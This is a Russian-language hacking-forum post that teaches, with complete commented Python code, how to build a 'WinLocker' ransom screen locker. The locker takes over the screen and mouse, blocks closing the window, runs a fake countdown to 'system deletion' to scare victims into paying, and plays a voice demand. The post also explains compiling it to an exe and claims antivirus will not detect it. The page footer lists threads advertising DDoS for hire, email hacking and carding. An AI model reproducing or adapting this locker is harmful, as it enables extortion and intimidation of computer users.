WinLocker на python. Пишем вирус.

Traven

Original poster
Pro Member
Сообщения
116
Реакции
59
Посетить сайт
Копипаст

Всем привет! В этой статье мы с вами напишем локер для компьютера,на базе Windows или UNIX систем. Наша программа будет блокировать систему пользователя,пока он не введет пароль.В простонародье данный вирус называют "

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

"

Установка Python
Переходим на официальный сайт PythonА -

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

Скачиваем последнюю версию и устанавливаем ее.
Посмотреть вложение 7361Посмотреть вложение 7362Посмотреть вложение 7363

Суть работы программы
Наш вирус будет работать по такому принципу. Программа открывается на весь экран,у нее нет кнопки закрыть. Доступно поле для ввода пароля и кнопка для разблокировки. Пока жертва не введет правильный пароль,мышка будет постоянно кликать на кнопку,и переводить туда курсор. Это будет мешать пользователю свернуть окно или убить его через диспетчер задач. Так же будет таймер отсчитывающий время до удаления системы. На самом деле,он ничего не удалит, но хорошо припугнут жертву и например заставит скорее перевести деньги. По истечении времени таймер сменится на надпись - "Удаление системы" Вот и вся суть программы)

Начинаем кодить
#Комментарии к коду будут помечены #комментарий
Для написания вы можете использовать обычный IDLE от питона,или любой другой.
Для начала мы должны к нашей программе подключить нужные нам библиотеки. Библиотека - написанные коды/функции,которые подключаются к нашей программе.
Код:
from tkinter import *  #говорим питону с библиотеки tkinter импортировать все
import pyautogui  #говорим питону импортировать библиотеку pyautogui
import pygame  #говорим питону импортировать библиотеку pygame

__________________________________________________________________________________
Но при запуске нам выдаст ошибку,указывающую на отсутствие библиотек pyautogui и pygame. Они не являются стандартными и их нужно установить. Для этого выполняем действия как на видео(через систему для установки пакетов мы ставим нужные нам библиотеки)

___________________________________________________________________________________
Дальше мы зададим переменные, которые мы будем использовать.

Код:
read1ng=" " #переменная, в которой будет храниться введенный пользователем пароль
password=("vlmi") #переменная с паролем от локера, можно установить что-то свое
t1me=7200 #переменная с временем таймера в секундах.
d3l="Удаление системы..." # переменная для отображения на экране текстового сообщения


____________________________________________________________________________________
Почти в самом начале мы должны создать функции. Которые будут отвечать за блокировку компьютера и за проверку на ввод правильного пароля.
Сначала создаем функцию блокировки компьютера.

Код:
def block(): #создаем функцию, которая называется block
    pyautogui.click(x=675,y=405) #делаем клик по координатам X и Y
    pyautogui.moveTo(x=675,y=405) #переводим мышку в позицию координат X и Y
    screen.protocol("WM_DELETE_WINDOW",block) #Запрещаем использование комбинаций F4/alt+F4/Fn+F4, и при их использовании вызывает функцию block
    screen.update() #переменную с нашим экраном мы обновляем.

Теперь мы создаем функцию, которая проверяет, введен ли правильный пароль.

Код:
def password_check(event): #создаем функцию, которая называется password_check, и имеет аргумент event
    global read1ng #создаем глобальную переменную read1ng.
    read1ng=field.get() #переменной read1ng мы присваиваем значение,которое мы считаем(.get) с поля для ввода(field).
    if read1ng==password: #создаем условие,если переменная read1ng равняется переменной password,то:
        screen.destroy() #окно программы(screen) мы уничтожаем/закрываем


____________________________________________________________________________________
Дальше мы должны создать окно нашего локера,которое откроется на весь экран.

Код:
screen=Tk() #screen - это просто название переменной. Которой мы присваиваем ему создания окна приложения
screen.title("WinLock vlmi.su") #задаем нашему окну название/заголовок.
screen.attributes("-fullscreen",True) #задаем окну атрибут - "на весь экран",который является правдой/активным.
screen.configure(background="#1c1c1c") #устанавливаем фоновой цвет на наше окно.
pyautogui.FAILSAFE=False #отключение остановки библиотеки autogui при дерганьи мышки. Если не включить это, то при дергание мышки pyautogui просто прекратит выполнять все действия.



_____________________________________________________________________________________
Теперь мы создадим объекты для нашей программы - кнопку,поле для ввода и надписи.

Код:
field=Entry(screen,fg="green",justify=CENTER) #создаем переменную,которая равняется полю для ввода,которое расположено на нашем окне(screen),цвет для текста - зеленый, текст будет по центру.
but=Button(screen,text="Разблокировать") #создаем переменную,которая равняется кнопке,которая расположена на нашем окне(screen),и имеет на себе надпись("Разблокировать")
text0=Label(screen,text="Ваша система заблокирована!",font="TimesNewRoman 30",fg="white",bg="#1c1c1c") #создаем переменную,которая равняется надписи,имеет свой текст, шрифт и размер, цвет текста фона.
text=Label(screen,text="Danaforevr для конкурса VLMI.SU",font="TimesNewRoman 30",fg="#32CD32",bg="#1c1c1c") #тоже самое,что и выше
text1=Label(screen,text="Не перезагружайте компьютер, это удалит вашу систему!",font = "TimesNewRoman 16",fg="red",bg="#1c1c1c") #тоже самое,что и выше
l=Label(text=t1me,font="Arial 22",fg="red",bg="#1c1c1c") # так же как и выше,только здесь текст равен переменной(t1me),которая стоит у нас в начале и имеет значение 7200.
l1=Label(text="До удаления системы осталось:",fg="white",bg="#1c1c1c",font="Arial 15") #простая надпись как и выше


______________________________________________________________________________________
У нас есть кнопка и она должна что-то делать. В нашем случае при нажатии на кнопку будет выполняться проверка на правильность пароля.

Код:
but.bind('<Button-1>',password_check) #к переменной but(нашей кнопке) мы привязываем функцию password_check,которая выполнится при нажатии ЛКМ

______________________________________________________________________________________
До этого мы просто создали переменные с объектами,а теперь эти объекты нужно отобразить/отрисовать на экране.
(используем функцию .place(), которая принимает значения x и y - координаты)

Код:
text.place(x=380,y=180) #переменную text мы отображаем на координатах X и Y
field.place(width=150,height=50,x=600,y=300) #переменной field мы устанавливаем ширину,высоту и отображаем на координатах X и Y
but.place(width=150,height=50,x=600,y=380) #переменной but мы устанавливаем ширину,высоту и отображаем на координатах X и Y
text0.place(x=410,y=100) #переменную text0 мы отображаем на координатах X и Y
text1.place(x=410,y=250) #переменную text1 мы отображаем на координатах X и Y
l1.place(x=20,y=70) #переменную l1 мы отображаем на координатах X и Y
l.place(x=20,y=100) #переменную l мы отображаем на координатах X и Y


_______________________________________________________________________________________
В winlock-ерах принято оставлять сообщения с информацией,требованием перевода денег. Я решил, что оставлять текстовое сообщение - слишком банально, и при запуске нашего вируса будет проигрываться голосовое сообщение.
Голосовое сообщение я сделал с помощью этого сервиса -

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

. Музыка/сообщение должно быть в формате .wav, можно использовать конвертеры.

Код:
pygame.init() #мы запускаем код с библиотеки, которую мы импортировали.
aud=pygame.mixer.Sound("message.wav") #создаем переменную которая являться подключением звукового файла,который называется message.wav
aud.play() #запускаем нашу переменную на воспроизведение.



_______________________________________________________________________________________
Дальше мы должны обновить наш экран и выполнить нажатие на поле для ввода.

Код:
screen.update() #переменную с нашим экраном мы обновляем.
pyautogui.click(x=675,y=325) #делаем клик по координатам X и Y
pyautogui.moveTo(x=660,y=410) #переводим мышку в позицию координат X и Y


________________________________________________________________________________________
Теперь мы должны запустить цикл, который будет работать,пока от пользователя мы не получим правильный пароль.

Код:
while read1ng!=password: #запускаем цикл,который работает пока переменная read1ng не равняется переменной password
    l.configure(text=t1me) #изменяем конфигурацию переменной l, а точнее - меняем значение text="" на переменную t1me
    screen.after(300) #делаем задержку в 300 миллисекунд.
    if t1me==0: #условие,если переменная t1me равна 0, то :
        t1me=d3l #переменной time присваивается переменная d3l
#Это нам нужно для работы с таймером, если таймер дойдет до нуля,отчет должен просто остановится. В нашем случае вывести текст про удаление системы.
    if t1me!=d3l: #условие,если переменная t1me равна переменной d3l, то :
        t1me=t1me-1 #переменная t1me равна переменной time от которой отняли 1
    block() #вызываем функцию block , она у нас в самом начале
#Это все будет повторяться, пока пользователь не введет правильный пароль.

Компилируем в exe
При запуске программы(F5) все будет работать, но распространять код и установщик питона, это явно не лучший вариант. Поэтому мы наш код скомпилируем в exe файл. Для этого мы через pip установить специальную программу.Смотрим видео!)

После установки мы должны открыть папку с нашей программой на питоне и запустить pyinstaller с такими аргументами
-F соберет все файлы в один exe файл
-w отключит консоль
-i *путь к иконке* аргумент,который подключит к программе иконку
Смотрим видео!)

После в папке dist появится наш код скомпилированный в EXE. У него есть 2 минуса.
  1. Большой вес, исправить можно удалив голосовое сообщение,и заодно отключить импорт pygame.
  2. Долгий запуск, это происходит из за сбора всех файлов в один. Наш exe можно назвать архивом, который распаковывается в временную папку. Этого можно избежать не собирая все в один файл.
!!!ВАЖНО если вы добавили голосовое сообщение и скомпилировали программу, файл с звуком(message.wav) должен лежать рядом с EXE иначе программа крашнется.

Исходники и заключение
Скачать готовую программу и исходники вы можете по ссылке -

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


!!!ВАЖНО - пароль от локера
Для просмотра содержимого вам необходимо авторизоваться.

Вот мы и написали наш простой локер, да диспетчер задач и комбинации alt+tab будут работать, но из-за постоянных кликов - сложно убить процесс. Наш вирус не будет палится антивирусами, ведь им не на что реагировать. В нашей программе нету взаимодействия с системой пользователя.

Словарик
IDLE/IDE - среда для разработки программного обеспечения.
Библиотека/модуль
- написанные коды/функции,которые подключаются к нашей программе.
pip - система для установки пакетов(Для Python).
Переменная - ячейка в памяти,которая имеет свое уникальное название и может хранить определенную информацию
Функция - часть кода, который имеет свое уникальное название по которому его можно запустить/вызвать
Цикл - действие, которое будет повторятся N-ное количество раз и может зависит от определенного условия
_______________


Вся информация написана в целях ознакомления,автор не несет ответственность за использование данного материала)
 
  • Like
Реакции: JRD
Название темы
Автор Заголовок Раздел Ответы Дата
T0pDro4eR Пишем WinLocker на Delphi С/C++ 0
rdp.onedash Скоростные VPS сервера на Windows — OneDash RDP Сайты/Хостинг/Сервера 0
A Пишем свой RAT на Python > {Часть 1} Уязвимости и взлом 0
mousegreen Быстрый заработок за верификацию на сайте Предоставляю работу. Ищу специалиста. 0
Zer0D4y Заработок на озабоченных Способы заработка 0
Y возьму на обучению вбиву в амазон и ебей Предоставляю работу. Ищу специалиста. 0
Kalash [Розыгрыш] Розыгрыш 1000 рублей на киви!!! Розыгрыши 0
S Простой способ получить реальные $30 на торговлю Предоставляю работу. Ищу специалиста. 0
bu8ba Собственное казино и зарабатываем на нем Способы заработка 1
M Блэк на #~Shinigami~# Black list и Разборки 1
V Схема заработка на SMM партнерках Способы заработка 1
G залью на сша, белоруссию Предоставляю работу. Ищу специалиста. 1
brigabos Как экономить на Яндекс.Директ, Google Ads и соц. сетях. Кешбеки и купоны. Другое 0
Janipai Схема заработка от 5$ в день на своем аккаунте инстаграм Способы заработка 5
X Есть тут кто с репой на ире? Свободное общение и флейм 2
U Нужны люди со всего мира на верифы Предоставляю работу. Ищу специалиста. 2
E Как сменить устройство на Tide? Вопросы и интересы 0
zladey1986 Продам Скрипт прием платежей p2p, card 2 card (с карты на карту) Все что не подошло по разделу 1
brigabos Простая схема как получить 133$ на рекламу в Google Ads (Adwords) Другое 0
S ✅ Промокоды на продвижение в Instagram, до 60% кешбек. Спам, рассылки, трафик, SEO 0
S ✅ АдминВПС. Промокод на скидку 60% - хостинг и VPS. Сайты/Хостинг/Сервера 1
I Ross CLOUD - Лучшее и самое БОЛЬШОЕ ОБЛАКО ЛОГОВ на рынке Ищу работу. Предлагаю свои услуги. 0
I Ross CLOUD - Лучшее и самое БОЛЬШОЕ ОБЛАКО ЛОГОВ на рынке Финансы - биллинги, банки, кошельки, логи 0
adflak Полный спектр услуг: Постинг на форумах \ Ссылки в подписях \ Разоблачение мошенников \ И многое другое! Ищу работу. Предлагаю свои услуги. 6
L Приглашаются дроповоды по ЕС на стабильную работу с высокой оплатой. Предоставляю работу. Ищу специалиста. 2
superman_ddos Service DDOS Attack/ДДОС Атака на заказ. Профессионалы к вашим услугам. Спам / Флуд / Ддос 2
U Интересно Нужны люди из Грузии, Украины и Снг на верифы Предоставляю работу. Ищу специалиста. 0
xoWells Схема на миллион. Забираем свои BTC у жертвы :) Обучения, схемы, мануалы 1
B Bitmoneyekb.com - Обмен криптовалюты на наличные МСК/ЕКБ Обменники 0
Khan Хакер из Бобруйска заработал полмиллиона долларов на брутфорс-атаках Новости в сети 0
B Заливы на карты Предоставляю работу. Ищу специалиста. 0
D Оптовый взлом почты на заказ (цена 20$) Взлом почты Mail.ru Yandex.ru Rambler.ru Ищу работу. Предлагаю свои услуги. 0
Ricardo Milos Продам Сим-карты на физ лиц | МТС | Мегафон | Билайн | Tele2 | Yota | Ростелеком | AIVA Финансы - биллинги, банки, кошельки, логи 0
H Заработок на арбитраже трафика в своем сообществе Вконтакте в 2021м году Способы заработка 0
H 1000$ на продаже сообществ (2021) Способы заработка 1
H Первые деньги на Авито без вложений (2021) Способы заработка 1
H 5000 р в день на трафике (2021) Способы заработка 0
K HASH Bhf.io Дамп на 19gb Раздача email 2
Р Интересно 1000 рублей на Delivery Club HONOR 10X Lite или HUAWEI P smart Способы заработка 0
NickelBlack MIX 587k на btc Раздача email 1
K Актуализируем / прочекаем Ваши телефонные базы на валид Пробив информации/Прозвоны 1
SamBonus ❗️Фотодропы. Фото шаблоны для отрисовки. Идеальное качество, любые комплекты на заказ. Ищу работу. Предлагаю свои услуги. 3
AnanasOfficial Реклама на теневых форумах. Ищу работу. Предлагаю свои услуги. 0
Р Интересно 100 руб на мобильник(нужны сканы) Другое 0
Z Продам лью на германию Финансы - биллинги, банки, кошельки, логи 1
zheka424 Заработок на партнерке банков от 2 000 руб Способы заработка 1
K Софт для наркутки на прямые трансляции youtube + чекер логов Продажа софта 0
B Обмен биткоинов на наличные в Москве Bitkov.net Обменники 0
Р Интересно Бесплатно отправляем СМС на любой номер Другое 2
lisan Чекну ваши базы, на свой банк 50/50 (Brute/Checker) Предоставляю работу. Ищу специалиста. 2

Название темы